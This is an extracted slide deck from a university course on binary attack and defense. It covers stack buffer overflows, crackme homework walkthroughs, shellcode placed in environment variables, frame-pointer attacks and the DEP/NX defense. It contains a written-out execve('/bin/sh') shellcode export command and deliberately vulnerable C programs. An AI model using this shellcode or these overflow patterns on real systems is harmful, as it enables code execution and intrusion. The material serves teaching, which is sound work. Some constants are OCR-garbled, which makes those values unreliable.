

**CSE 610 Special Topics:
System Security - Attack and Defense for
Binaries**

Instructor: Dr. Ziming Zhao

Location: Online

Time: Monday, 5:20 PM - 8:10 PM

Announcement

1. Course evaluations have started

Last Class

1. Stack-based buffer overflow-2
 - a. Overflow RET and return to a function with parameters
 - b. Overflow with shellcode 32-bit and 64 bit (Code injection attack)
 - c. A simple wargame - behemoth1

Homework-3

Hw-3 walkthrough

crackme4h

crackme464

behemoth1

crackme4h

```
char s[] = "OIKNBGREWQZSAQ";

char* decrypt(char *c)
{
    for (size_t i = 0; i < strlen(c); i++)
    {
        c[i] = c[i] - 7;}

    return c;}

void printsecret(int i, int j, int k)
{
    if (i == 0xdeadbeef && j == 0xCODECAFE && k == 0xD0D0FACE)
        printf("The secret you are looking for is: %s\n", decrypt(s));

    exit(0);}

int main(int argc, char *argv[])
{
    char buf[8];

    if (argc != 2)
        return 0;

    strcpy(buf, argv[1]);
}
```

crackme4

```
000012b7 <main>:
 12b7:f3 0f 1e fb      endbr32
12bb:55      push %ebp
12bc:89 e5      mov  %esp,%ebp
12be:83 ec 08    sub  $0x8,%esp
12c1:83 7d 08 02    cmpl $0x2,0x8(%ebp)
12c5:74 07      je   12ce <main+0x17>
12c7:b8 00 00 00 00    mov  $0x0,%eax
12cc:eb 1a      jmp  12e8 <main+0x31>
12ce:8b 45 0c    mov  0xc(%ebp),%eax
12d1:83 c0 04    add  $0x4,%eax
12d4:8b 00      mov  (%eax),%eax
12d6:50      push %eax
12d7:8d 45 f8    lea -0x8(%ebp),%eax
12da:50      push %eax
12db:e8 fc ff ff    call 12dc <main+0x25>
12e0:83 c4 08    add  $0x8,%esp
12e3:b8 00 00 00 00    mov  $0x0,%eax
12e8:c9      leave
12e9:c3      ret
12ea:66 90      xchg %ax,%ax
12ec:66 90      xchg %ax,%ax
12ee:66 90      xchg %ax,%ax
```

Arg3 = 0xd0doface

Arg2 = 0xcodecafe

Arg1 = 0xdeadbeef

4 bytes

RET = printsecret

crackme4h

000012c6 <main>:

12c6: f3 0f 1e fb endbr32

12ca: 8d 4c 24 04 lea 0x4(%esp),%ecx

12ce: 83 e4 f0 and \$0xffffffff0,%esp

12d1: ff 71 fc pushl -0x4(%ecx)

12d4: 55 push %ebp

12d5: 89 e5 mov %esp,%ebp

12d7: 51 push %ecx

12d8: 83 ec 14 sub \$0x14,%esp

12db: 89 c8 mov %ecx,%eax

12dd: 83 38 02 cmpl \$0x2,(%eax)

12e0: 74 07 je 12e9 <main+0x23>

12e2: b8 00 00 00 00 mov \$0x0,%eax

12e7: eb 1d jmp 1306 <main+0x40>

12e9: 8b 40 04 mov 0x4(%eax),%eax

12ec: 83 c0 04 add \$0x4,%eax

12ef: 8b 00 mov (%eax),%eax

12f1: 83 ec 08 sub \$0x8,%esp

12f4: 50 push %eax

12f5: 8d 45 f0 lea -0x10(%ebp),%eax

12f8: 50 push %eax

12f9: e8 fc ff ff call 12fa <main+0x34>

12fe: 83 c4 10 add \$0x10,%esp

1301: b8 00 00 00 00 mov \$0x0,%eax

1306: 8b 4d fc mov -0x4(%ebp),%ecx

1309: c9 leave

130a: 8d 61 fc lea -0x4(%ecx),%esp

130d: c3 ret

crackme4h

000012c6 <main>:

```
12c6: f3 0f 1e fb    endbr32
12ca: 8d 4c 24 04    lea 0x4(%esp),%ecx
12ce: 83 e4 f0      and $0xffffffff0,%esp
12d1: ff 71 fc      pushl -0x4(%ecx)
12d4: 55           push %ebp
12d5: 89 e5        mov %esp,%ebp
12d7: 51          push %ecx
12d8: 83 ec 14     sub $0x14,%esp
12db: 89 c8        mov %ecx,%eax
12dd: 83 38 02     cmpl $0x2,(%eax)
12e0: 74 07       je 12e9 <main+0x23>
12e2: b8 00 00 00 00 mov $0x0,%eax
12e7: eb 1d       jmp 1306 <main+0x40>
12e9: 8b 40 04     mov 0x4(%eax),%eax
12ec: 83 c0 04     add $0x4,%eax
12ef: 8b 00       mov (%eax),%eax
12f1: 83 ec 08     sub $0x8,%esp
12f4: 50          push %eax
12f5: 8d 45 f0     lea -0x10(%ebp),%eax
12f8: 50          push %eax
12f9: e8 fc ff ff  call 12fa <main+0x34>
12fe: 83 c4 10     add $0x10,%esp
1301: b8 00 00 00 00 mov $0x0,%eax
1306: 8b 4d fc     mov -0x4(%ebp),%ecx
1309: c9          leave
130a: 8d 61 fc     lea -0x4(%ecx),%esp
130d: c3          ret
```

%ecx →

%esp →

argv[1]

argv[0]

argc

RET

crackme4h

```
000012c6 <main>:
 12c6: f3 0f 1e fb      endbr32
 12ca: 8d 4c 24 04      lea -0x4(%esp),%ecx
 12ce: 83 e4 f0      and $0xffffffff0,%esp
 12d1: ff 71 fc      pushl -0x4(%ecx)
 12d4: 55          push %ebp
 12d5: 89 e5      mov %esp,%ebp
 12d7: 51          push %ecx
 12d8: 83 ec 14    sub $0x14,%esp
 12db: 89 c8      mov %ecx,%eax
 12dd: 83 38 02    cmpl $0x2,(%eax)
 12e0: 74 07      je 12e9 <main+0x23>
 12e2: b8 00 00 00 00  mov $0x0,%eax
 12e7: eb 1d      jmp 1306 <main+0x40>
 12e9: 8b 40 04    mov 0x4(%eax),%eax
 12ec: 83 c0 04    add $0x4,%eax
 12ef: 8b 00      mov (%eax),%eax
 12f1: 83 ec 08    sub $0x8,%esp
 12f4: 50          push %eax
 12f5: 8d 45 f0    lea -0x10(%ebp),%eax
 12f8: 50          push %eax
 12f9: e8 fc ff ff    call 12fa <main+0x34>
 12fe: 83 c4 10    add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc    mov -0x4(%ebp),%ecx
1309: c9          leave
130a: 8d 61 fc    lea -0x4(%ecx),%esp
130d: c3          ret
```

%ecx →

%esp →

argv[1]

argv[0]

argc

RET

Size <= 16 bytes

crackme4h

```
000012c6 <main>:
 12c6: f3 0f 1e fb      endbr32
 12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
 12ce: 83 e4 f0         and $0xffffffff0,%esp
 12d1: ff 71 fc         pushl -0x4(%ecx)
 12d4: 55              push %ebp
 12d5: 89 e5           mov %esp,%ebp
 12d7: 51             push %ecx
 12d8: 83 ec 14       sub $0x14,%esp
 12db: 89 c8          mov %ecx,%eax
 12dd: 83 38 02       cmpl $0x2,(%eax)
 12e0: 74 07         je 12e9 <main+0x23>
 12e2: b8 00 00 00 00  mov $0x0,%eax
 12e7: eb 1d         jmp 1306 <main+0x40>
 12e9: 8b 40 04       mov 0x4(%eax),%eax
 12ec: 83 c0 04       add $0x4,%eax
 12ef: 8b 00         mov (%eax),%eax
 12f1: 83 ec 08       sub $0x8,%esp
 12f4: 50           push %eax
 12f5: 8d 45 f0       lea -0x10(%ebp),%eax
 12f8: 50           push %eax
 12f9: e8 fc ff ff ff call 12fa <main+0x34>
 12fe: 83 c4 10       add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc       mov -0x4(%ebp),%ecx
1309: c9           leave
130a: 8d 61 fc       lea -0x4(%ecx),%esp
130d: c3           ret
```

%ecx →

%esp →

argv[1]

argv[0]

argc

RET

Size <= 16 bytes

RET

crackme4h

```
000012c6 <main>:
 12c6: f3 0f 1e fb      endbr32
 12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
 12ce: 83 e4 f0        and $0xffffffff0,%esp
 12d1: ff 71 fc        pushl -0x4(%ecx)
 12d4: 55             push %ebp
 12d5: 89 e5         mov %esp,%ebp
 12d7: 51           push %ecx
 12d8: 83 ec 14      sub $0x14,%esp
 12db: 89 c8        mov %ecx,%eax
 12dd: 83 38 02     cmpl $0x2,(%eax)
 12e0: 74 07       je 12e9 <main+0x23>
 12e2: b8 00 00 00 00  mov $0x0,%eax
 12e7: eb 1d       jmp 1306 <main+0x40>
 12e9: 8b 40 04     mov 0x4(%eax),%eax
 12ec: 83 c0 04     add $0x4,%eax
 12ef: 8b 00     mov (%eax),%eax
 12f1: 83 ec 08     sub $0x8,%esp
 12f4: 50         push %eax
 12f5: 8d 45 f0     lea -0x10(%ebp),%eax
 12f8: 50         push %eax
 12f9: e8 fc ff ff   call 12fa <main+0x34>
 12fe: 83 c4 10     add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc     mov -0x4(%ebp),%ecx
1309: c9         leave
130a: 8d 61 fc     lea -0x4(%ecx),%esp
130d: c3         ret
```

%ecx →

argv[1]

argv[0]

argc

RET

Size <= 16 bytes

RET

%ebp, %esp →

Saved EBP


crackme4h

```
000012c6 <main>:
 12c6: f3 0f 1e fb      endbr32
 12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
 12ce: 83 e4 f0         and $0xffffffff0,%esp
 12d1: ff 71 fc         pushl -0x4(%ecx)
 12d4: 55              push %ebp
 12d5: 89 e5           mov %esp,%ebp
 12d7: 51             push %ecx
 12d8: 83 ec 14       sub $0x14,%esp
 12db: 89 c8         mov %ecx,%eax
 12dd: 83 38 02      cmpl $0x2,(%eax)
 12e0: 74 07        je 12e9 <main+0x23>
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 12e9: 8b 40 04      mov 0x4(%eax),%eax
 12ec: 83 c0 04      add $0x4,%eax
 12ef: 8b 00       mov (%eax),%eax
 12f1: 83 ec 08      sub $0x8,%esp
 12f4: 50          push %eax
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 12f9: e8 fc ff ff   call 12fa <main+0x34>
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1306: 8b 4d fc     mov -0x4(%ebp),%ecx
1309: c9          leave
130a: 8d 61 fc     lea -0x4(%ecx),%esp
130d: c3          ret
```

%ecx →


%ebp →

%esp →




crackme4h

```
000012c6 <main>:
12c6: f3 0f 1e fb      endbr32
12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
12ce: 83 e4 f0        and $0xffffffff0,%esp
12d1: ff 71 fc        pushl -0x4(%ecx)
12d4: 55             push %ebp
12d5: 89 e5          mov %esp,%ebp
12d7: 51            push %ecx
12d8: 83 ec 14      sub $0x14,%esp
12db: 89 c8        mov %ecx,%eax
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12e9: 8b 40 04     mov 0x4(%eax),%eax
12ec: 83 c0 04     add $0x4,%eax
12ef: 8b 00     mov (%eax),%eax
12f1: 83 ec 08     sub $0x8,%esp
12f4: 50        push %eax
12f5: 8d 45 f0     lea -0x10(%ebp),%eax
12f8: 50        push %eax
12f9: e8 fc ff ff   call 12fa <main+0x34>
12fe: 83 c4 10     add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc     mov -0x4(%ebp),%ecx
1309: c9         leave
130a: 8d 61 fc     lea -0x4(%ecx),%esp
130d: c3         ret
```



crackme4h

```
000012c6 <main>:
12c6: f3 0f 1e fb      endbr32
12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
12ce: 83 e4 f0        and $0xffffffff0,%esp
12d1: ff 71 fc        pushl -0x4(%ecx)
12d4: 55             push %ebp
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12d7: 51            push %ecx
12d8: 83 ec 14       sub $0x14,%esp
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12f1: 83 ec 08       sub $0x8,%esp
12f4: 50           push %eax
12f5: 8d 45 f0      lea -0x10(%ebp),%eax
12f8: 50           push %eax
12f9: e8 fc ff ff   call 12fa <main+0x34>
12fe: 83 c4 10       add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc      mov -0x4(%ebp),%ecx
1309: c9           leave
130a: 8d 61 fc      lea -0x4(%ecx),%esp
130d: c3           ret
```




crackme4h

```
000012c6 <main>:
12c6: f3 0f 1e fb      endbr32
12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
12ce: 83 e4 f0         and $0xffffffff0,%esp
12d1: ff 71 fc         pushl -0x4(%ecx)
12d4: 55              push %ebp
12d5: 89 e5           mov %esp,%ebp
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12dd: 83 38 02       cmpl $0x2,(%eax)
12e0: 74 07         je 12e9 <main+0x23>
12e2: b8 00 00 00 00   mov $0x0,%eax
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12e9: 8b 40 04       mov 0x4(%eax),%eax
12ec: 83 c0 04       add $0x4,%eax
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12f1: 83 ec 08       sub $0x8,%esp
12f4: 50           push %eax
12f5: 8d 45 f0       lea -0x10(%ebp),%eax
12f8: 50           push %eax
12f9: e8 fc ff ff    call 12fa <main+0x34>
12fe: 83 c4 10       add $0x10,%esp
1301: b8 00 00 00 00   mov $0x0,%eax
1306: 8b 4d fc       mov -0x4(%ebp),%ecx
1309: c9           leave
130a: 8d 61 fc       lea -0x4(%ecx),%esp
130d: c3           ret
```

%esp →

%ecx →




crackme4h

```
000012c6 <main>:
12c6: f3 0f 1e fb      endbr32
12ca: 8d 4c 24 04      lea 0x4(%esp),%ecx
12ce: 83 e4 f0         and $0xffffffff0,%esp
12d1: ff 71 fc         pushl -0x4(%ecx)
12d4: 55              push %ebp
12d5: 89 e5           mov %esp,%ebp
12d7: 51             push %ecx
12d8: 83 ec 14       sub $0x14,%esp
12db: 89 c8         mov %ecx,%eax
12dd: 83 38 02      cmpl $0x2,(%eax)
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12e2: b8 00 00 00 00  mov $0x0,%eax
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12e9: 8b 40 04      mov 0x4(%eax),%eax
12ec: 83 c0 04      add $0x4,%eax
12ef: 8b 00      mov (%eax),%eax
12f1: 83 ec 08      sub $0x8,%esp
12f4: 50          push %eax
12f5: 8d 45 f0     lea -0x10(%ebp),%eax
12f8: 50          push %eax
12f9: e8 fc ff ff   call 12fa <main+0x34>
12fe: 83 c4 10     add $0x10,%esp
1301: b8 00 00 00 00  mov $0x0,%eax
1306: 8b 4d fc     mov -0x4(%ebp),%ecx
1309: c9         leave
130a: 8d 61 fc     lea -0x4(%ecx),%esp
130d: c3         ret
```


%ecx →

%esp →



Crackme4h

Craft the exploit



crackme464

```
0000000000001200 <printsecret>:
 1200:f3 0f 1e fa      endbr64
 1204:55              push %rbp
 1205:48 89 e5         mov  %rsp,%rbp
 1208:48 83 ec 10      sub  $0x10,%rsp
 120c:89 7d fc          mov  %edi,-0x4(%rbp)
 120f:89 75 f8         mov  %esi,-0x8(%rbp)
 1212:89 55 f4         mov  %edx,-0xc(%rbp)
 1215:81 7d fc ef be ad de  cmpl $0xdeadbeef,-0x4(%rbp)
 121c:75 32            jne  1250 <printsecret+0x50>
 121e:81 7d f8 fe ca de c0  cmpl $0xc0decafe,-0x8(%rbp)
 1225:75 29            jne  1250 <printsecret+0x50>
 1227:81 7d f4 ce fa d0 d0  cmpl $0xd0d0face,-0xc(%rbp)
 122e:75 20            jne  1250 <printsecret+0x50>
 1230:48 8d 3d d9 2d 00 00  lea  0x2dd9(%rip),%rdi   # 4010 <s>
 1237:e8 6d ff ff ff      callq 11a9 <decrypt>
 123c:48 89 c6          mov  %rax,%rsi
 123f:48 8d 3d c2 0d 00 00  lea  0xdc2(%rip),%rdi   # 2008 <_IO_stdin_used+0x8>
 1246:b8 00 00 00 00      mov  $0x0,%eax
 124b:e8 50 fe ff ff      callq 10a0 <printf@plt>
 1250:bf 00 00 00 00      mov  $0x0,%edi
 1255:e8 56 fe ff ff      callq 10b0 <exit@plt>
```


Return to here!!

Today's Agenda

1. Stack-based buffer overflow-3
 - a. Inject shellcode into environment variable
 - b. Overwrite saved %ebp; Frame-pointer attack
 - c. Return-to-libc (32-bit); We will discuss 64 bit Ret2libc after ROP
2. Defenses
 - a. Data Execution Prevention (DEP)
 - b. Stack Cookie; Canary
 - c. Sandboxing
 - d. Shadow stack
 - e. Address Space Layout Randomization
 - f. Control Flow Integrity

**Inject shellcode in
env variable
and
command line arguments**

Where to put the shellcode?



Start a Process

`_start` ###part of the program; entry point
→ `calls` `__libc_start_main()` ###libc
→ `calls` `main()` ###part of the program


The Stack Layout before main()

The stack starts out storing (among some other things) the environment variables and the program arguments.

```
$ env
SHELL=/bin/bash
SESSION_MANAGER=local/ziming-XPS
QT_ACCESSIBILITY=1
```

```
$ ./stacklayout hello world
hello world
```

```
ziming@ziming-XPS-13-9300:~/Dropbox/myTeaching/System Security - Attack and Def
ense for Binaries UB 2020/code/stacklayout$ ./stacklayout hello world
argc is at 0xffc444d0; its value is 3
argv[0] is at 0xffc462d0; its value is ./stacklayout
argv[1] is at 0xffc462de; its value is hello
argv[2] is at 0xffc462e4; its value is world
envp[0] is at 0xffc462ea; its value is SHELL=/bin/bash
envp[1] is at 0xffc462fa; its value is SESSION_MANAGER=local/ziming-XPS-13-9300
:/tmp/.ICE-unix/2324,unix/ziming-XPS-13-9300:/tmp/.ICE-unix/2324
envp[2] is at 0xffc46364; its value is QT_ACCESSIBILITY=1
```



Buffer Overflow Example: code/overflowret5 32-bit

```
int vulfoo()
{
    char buf[4];

    fgets(buf, 18, stdin);

    return 0;
}

int main(int argc, char *argv[])
{
    vulfoo();
}
```

function

fgets

<stdio>

```
char * fgets ( char * str, int num, FILE * stream );
```

Get string from stream

Reads characters from *stream* and stores them as a C string into *str* until (*num*-1) characters have been read or either a newline or the *end-of-file* is reached, whichever happens first.

A newline character makes `fgets` stop reading, but it is considered a valid character by the function and included in the string copied to *str*.

A terminating null character is automatically appended after the characters copied to *str*.

Notice that `fgets` is quite different from `gets`: not only `fgets` accepts a *stream* argument, but also allows to specify the maximum size of *str* and includes in the string any ending newline character.

000011cd <vulfoo>:

```
11cd:    f3 0f 1e fb      endbr32
11d1:    55               push  %ebp
11d2:    89 e5           mov   %esp,%ebp
11d4:    53             push  %ebx
11d5:    83 ec 04        sub   $0x4,%esp
11d8:    e8 45 00 00 00  call 1222 <_x86.get_pc_thunk.ax>
11dd:    05 f7 2d 00 00  add   $0x2df7,%eax
11e2:    8b 90 20 00 00 00 mov   0x20(%eax),%edx
11e8:    8b 12           mov   (%edx),%edx
11ea:    52             push  %edx
11eb:    6a 12           push  $0x12
11ed:    8d 55 f8        lea  -0x8(%ebp),%edx
11f0:    52             push  %edx
11f1:    89 c3           mov   %eax,%ebx
11f3:    e8 78 fe ff ff  call 1070 <fgets@plt>
11f8:    83 c4 0c        add   $0xc,%esp
11fb:    b8 00 00 00 00  mov   $0x0,%eax
1200:    8b 5d fc        mov   -0x4(%ebp),%ebx
1203:    c9             leave
1204:    c3             ret
```

'\x00'

'\x0a'

RET = 4 bytes

Old %ebp = 4 bytes

Buf @ -8(%ebp)


The Stack Layout before main()

The stack starts out storing (among some other things) the environment variables and the program arguments.

```
$ env  
SHELL=/bin/bash  
SESSION_MANAGER=local/ziming-XPS  
QT_ACCESSIBILITY=1
```

```
$ ./stacklayout hello world  
hello world
```

```
ziming@ziming-XPS-13-9300:~/Dropbox/myTeaching/System Security - Attack and Def  
ense for Binaries UB 2020/code/stacklayout$ ./stacklayout hello world  
argc is at 0xffc444d0; its value is 3  
argv[0] is at 0xffc462d0; its value is ./stacklayout  
argv[1] is at 0xffc462de; its value is hello  
argv[2] is at 0xffc462e4; its value is world  
envp[0] is at 0xffc462ea; its value is SHELL=/bin/bash  
envp[1] is at 0xffc462fa; its value is SESSION_MANAGER=local/ziming-XPS-13-9300  
:/tmp/.ICE-unix/2324,unix/ziming-XPS-13-9300:/tmp/.ICE-unix/2324  
envp[2] is at 0xffc46364; its value is QT_ACCESSIBILITY=1
```



```
export SCODE=$(python -c "print '\x90'*500 +  
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b  
\xcd\x80\x31\xc0\x40xcd\x80'")
```

getenv.c

```
int main(int argc, char *argv[])  
{  
    if (argc != 2)  
    {  
        puts("Usage: getenv envname");  
        return 0;  
    }  
  
    printf("%s is at %p\n", argv[1], getenv(argv[1]));  
    return 0;  
}
```

Frame Pointer Attack

Change the upper level func's return address

Overflow6 32bit

```
int vulfoo(char *p)
{
    char buf[4];

    memcpy(buf, p, 12);

    return 0;
}


int main(int argc, char *argv[])
{
    if (argc != 2)
        return 0;

    vulfoo(argv[1]);
}
```

Overflow6 32bit

000011cd <vulfoo>:


```
11cd:    f3 0f 1e fb      endbr32
11d1:    55               push  %ebp
11d2:    89 e5           mov   %esp,%ebp
11d4:    53             push  %ebx
11d5:    83 ec 04       sub   $0x4,%esp
11d8:    e8 58 00 00 00  call 1235 <_x86.get_pc_thunk.ax>
11dd:    05 fb 2d 00 00  add   $0x2dfb,%eax
11e2:    6a 0c          push  $0xc
11e4:    ff 75 08       pushl 0x8(%ebp)
11e7:    8d 55 f8       lea  -0x8(%ebp),%edx
11ea:    52             push  %edx
11eb:    89 c3           mov   %eax,%ebx
11ed:    e8 7e fe ff ff  call 1070 <memcpy@plt>
11f2:    83 c4 0c       add   $0xc,%esp
11f5:    b8 00 00 00 00  mov   $0x0,%eax
11fa:8b 5d fc       mov   -0x4(%ebp),%ebx
11fd:    c9             leave
11fe:c3           ret
```



Overflow6 32bit

```
000011cd <vulfoo>:
11cd:  f3 0f 1e fb      endbr32
11d1:  55                push %ebp
11d2:  89 e5            mov  %esp,%ebp
11d4:  53                push %ebx
11d5:  83 ec 04        sub  $0x4,%esp
11d8:  e8 58 00 00 00   call 1235 <_x86.get_pc_thunk.ax>
11dd:  05 fb 2d 00 00   add  $0x2dfb,%eax
11e2:  6a 0c            push $0xc
11e4:  ff 75 08        pushl 0x8(%ebp)
11e7:  8d 55 f8        lea -0x8(%ebp),%edx
11ea:  52                push %edx
11eb:  89 c3            mov  %eax,%ebx
11ed:  e8 7e fe ff ff   call 1070 <memcpy@plt>
11f2:  83 c4 0c        add  $0xc,%esp
11f5:  b8 00 00 00 00   mov  $0x0,%eax
11fa:8b 5d fc        mov  -0x4(%ebp),%ebx
11fd:  c9                leave
11fe:c3          ret
```

%esp




%ebp = AAAA

Overflow6 32bit

```
000011ff <main>:
 11ff: f3 0f 1e fb      endbr32
1203:   55                push %ebp
1204:   89 e5             mov  %esp,%ebp
1206:   e8 2a 00 00 00   call 1235 <_x86.get_pc_thunk.ax>
120b:   05 cd 2d 00 00   add  $0x2dcd,%eax
1210:   83 7d 08 02      cmpl $0x2,0x8(%ebp)
1214:   74 07            je   121d <main+0x1e>
1216:   b8 00 00 00 00   mov  $0x0,%eax
121b:   eb 16            jmp  1233 <main+0x34>
121d:   8b 45 0c         mov  0xc(%ebp),%eax
1220:   83 c0 04         add  $0x4,%eax
1223:   8b 00            mov  (%eax),%eax
1225:   50              push %eax
1226:   e8 a2 ff ff ff   call 11cd <vulfoo>
122b:   83 c4 04         add  $0x4,%esp
122e:   b8 00 00 00 00   mov  $0x0,%eax
1233:   c9              leave
1234:   c3              ret
```

%esp →




%ebp = AAAA

Overflow6 32bit

```
000011ff <main>:
 11ff: f3 0f 1e fb      endbr32
1203:   55                push %ebp
1204:   89 e5             mov  %esp,%ebp
1206:   e8 2a 00 00 00   call 1235 <_x86.get_pc_thunk.ax>
120b:   05 cd 2d 00 00   add  $0x2dcd,%eax
1210:   83 7d 08 02      cmpl $0x2,0x8(%ebp)
1214:   74 07            je   121d <main+0x1e>
1216:   b8 00 00 00 00   mov  $0x0,%eax
121b:   eb 16            jmp  1233 <main+0x34>
121d:   8b 45 0c         mov  0xc(%ebp),%eax
1220:   83 c0 04         add  $0x4,%eax
1223:   8b 00            mov  (%eax),%eax
1225:   50                push %eax
1226:   e8 a2 ff ff ff   call 11cd <vulfoo>
122b:   83 c4 04         add  $0x4,%esp
122e:   b8 00 00 00 00   mov  $0x0,%eax
1233:   c9                leave
1234:   c3                ret
```


%esp →



%ebp = AAAA

Overflow6 32bit


```
000011ff <main>:
 11ff: f3 0f 1e fb          endbr32
1203:   55                    push %ebp
1204:   89 e5                mov %esp,%ebp
1206:   e8 2a 00 00 00      call 1235 <_x86.get_pc_thunk.ax>
120b:   05 cd 2d 00 00      add $0x2dcd,%eax
1210:   83 7d 08 02         cmpl $0x2,0x8(%ebp)
1214:   74 07                je 121d <main+0x1e>
1216:   b8 00 00 00 00      mov $0x0,%eax
121b:   eb 16                jmp 1233 <main+0x34>
121d:   8b 45 0c            mov 0xc(%ebp),%eax
1220:   83 c0 04            add $0x4,%eax
1223:   8b 00                mov (%eax),%eax
1225:   50                    push %eax
1226:   e8 a2 ff ff ff      call 11cd <vulfoo>
122b:   83 c4 04            add $0x4,%esp
122e:   b8 00 00 00 00      mov $0x0,%eax
1233:   c9                    leave
1234:   c3                    ret
```



1. %esp = AAAA
2. %ebp = *(AAAA); %esp += 4


Overflow6 32bit

```
000011ff <main>:
 11ff: f3 0f 1e fb          endbr32
1203:   55                    push %ebp
1204:   89 e5                mov  %esp,%ebp
1206:   e8 2a 00 00 00      call 1235 <_x86.get_pc_thunk.ax>
120b:   05 cd 2d 00 00      add  $0x2dcd,%eax
1210:   83 7d 08 02         cmpl $0x2,0x8(%ebp)
1214:   74 07                je   121d <main+0x1e>
1216:   b8 00 00 00 00      mov  $0x0,%eax
121b:   eb 16                jmp  1233 <main+0x34>
121d:   8b 45 0c            mov  0xc(%ebp),%eax
1220:   83 c0 04            add  $0x4,%eax
1223:   8b 00                mov  (%eax),%eax
1225:   50                    push %eax
1226:   e8 a2 ff ff ff      call 11cd <vulfoo>
122b:   83 c4 04            add  $0x4,%esp
122e:   b8 00 00 00 00      mov  $0x0,%eax
1233:   c9                    leave
1234:   c3                    ret
```



Overflow6 32bit

```
000011ff <main>:
 11ff: f3 0f 1e fb      endbr32
1203:   55                push  %ebp
1204:   89 e5             mov   %esp,%ebp
1206:   e8 2a 00 00 00   call 1235 <_x86.get_pc_thunk.ax>
120b:   05 cd 2d 00 00   add  $0x2dcd,%eax
1210:   83 7d 08 02      cmpl $0x2,0x8(%ebp)
1214:   74 07            je   121d <main+0x1e>
1216:   b8 00 00 00 00   mov  $0x0,%eax
121b:   eb 16            jmp  1233 <main+0x34>
121d:   8b 45 0c         mov  0xc(%ebp),%eax
1220:   83 c0 04         add  $0x4,%eax
1223:   8b 00            mov  (%eax),%eax
1225:   50                push %eax
1226:   e8 a2 ff ff ff   call 11cd <vulfoo>
122b:   83 c4 04         add  $0x4,%esp
122e:   b8 00 00 00 00   mov  $0x0,%eax
1233:   c9                leave
1234:   c3                ret
```



Conditions we depend on to pull off the attack of *returning to shellcode on stack*

1. The ability to put the shellcode onto stack (env, command line)
2. The stack is executable
3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
4. Know the address of the destination function

Conditions we depend on to pull off the attack of *returning to shellcode on stack*

1. The ability to put the shellcode onto stack (env, command line)
- ~~2. The stack is executable~~
3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
4. Know the address of the destination function

**Defense 1:
Data Execution Prevention
(DEP, W \oplus X, NX)**

Harvard vs. Von-Neumann Architecture

Harvard Architecture

The Harvard architecture stores machine instructions and data in separate memory units that are connected by different busses. In this case, there are at least two memory address spaces to work with, so there is a memory register for machine instructions and another memory register for data. Computers designed with the Harvard architecture are able to run a program and access data independently, and therefore simultaneously. Harvard architecture has a strict separation between data and code. Thus, Harvard architecture is more complicated but separate pipelines remove the bottleneck that Von Neumann creates.

Von-Neumann architecture

In a Von-Neumann architecture, the same memory and bus are used to store both data and instructions that run the program. Since you cannot access program memory and data memory simultaneously, the Von Neumann architecture is susceptible to bottlenecks and system performance is affected.

Older CPUs

Older CPUs: Read permission on a page implies execution. So all readable memory was executable.

AMD64 – introduced NX bit (No-eXecute) in 2003

Windows Supporting DEP from Windows XP SP2 (in 2004)

Linux Supporting NX since 2.6.8 (in 2004)

Modern CPUs

Modern architectures support memory permissions:

- **PROT_READ** allows the process to read memory
- **PROT_WRITE** allows the process to write memory
- **PROT_EXEC** allows the process to execute memory

gcc parameter **-z *execstack*** to disable this protection

```
zining@zining-XPS-13-9300:~/Dropbox/myTeaching/System Security - Attack and Defense for Binaries UB 2020/code/overflow6$ readelf -l of6
```

```
Elf file type is DYN (Shared object file)
```

```
Entry point 0x1090
```

```
There are 12 program headers, starting at offset 52
```

```
Program Headers:
```

Type	Offset	VirtAddr	PhysAddr	FileSiz	MemSiz	Flg	Align
PHDR	0x000034	0x00000034	0x00000034	0x00180	0x00180	R	0x4
INTERP	0x0001b4	0x000001b4	0x000001b4	0x00013	0x00013	R	0x1
[Requesting program interpreter: /lib/ld-linux.so.2]							
LOAD	0x000000	0x00000000	0x00000000	0x003f8	0x003f8	R	0x1000
LOAD	0x001000	0x00001000	0x00001000	0x002d4	0x002d4	R E	0x1000
LOAD	0x002000	0x00002000	0x00002000	0x001ac	0x001ac	R	0x1000
LOAD	0x002ed8	0x00003ed8	0x00003ed8	0x00130	0x00134	RW	0x1000
DYNAMIC	0x002ee0	0x00003ee0	0x00003ee0	0x000f8	0x000f8	RW	0x4
NOTE	0x0001c8	0x000001c8	0x000001c8	0x00060	0x00060	R	0x4
GNU_PROPERTY	0x0001ec	0x000001ec	0x000001ec	0x0001c	0x0001c	R	0x4
GNU_EH_FRAME	0x002008	0x00002008	0x00002008	0x0005c	0x0005c	R	0x4
GNU_STACK	0x000000	0x00000000	0x00000000	0x00000	0x00000	RWE	0x10
GNU_RELRO	0x002ed8	0x00003ed8	0x00003ed8	0x00128	0x00128	R	0x1

```
zining@zining-XPS-13-9300:~/Dropbox/myTeaching/System Security - Attack and Defense for Binaries UB 2020/code/overflow6$ readelf -l of6nx
```

```
Elf file type is DYN (Shared object file)
```

```
Entry point 0x1090
```

```
There are 12 program headers, starting at offset 52
```

```
Program Headers:
```

Type	Offset	VirtAddr	PhysAddr	FileSiz	MemSiz	Flg	Align
PHDR	0x000034	0x00000034	0x00000034	0x00180	0x00180	R	0x4
INTERP	0x0001b4	0x000001b4	0x000001b4	0x00013	0x00013	R	0x1
[Requesting program interpreter: /lib/ld-linux.so.2]							
LOAD	0x000000	0x00000000	0x00000000	0x003f8	0x003f8	R	0x1000
LOAD	0x001000	0x00001000	0x00001000	0x002d4	0x002d4	R E	0x1000
LOAD	0x002000	0x00002000	0x00002000	0x001ac	0x001ac	R	0x1000
LOAD	0x002ed8	0x00003ed8	0x00003ed8	0x00130	0x00134	RW	0x1000
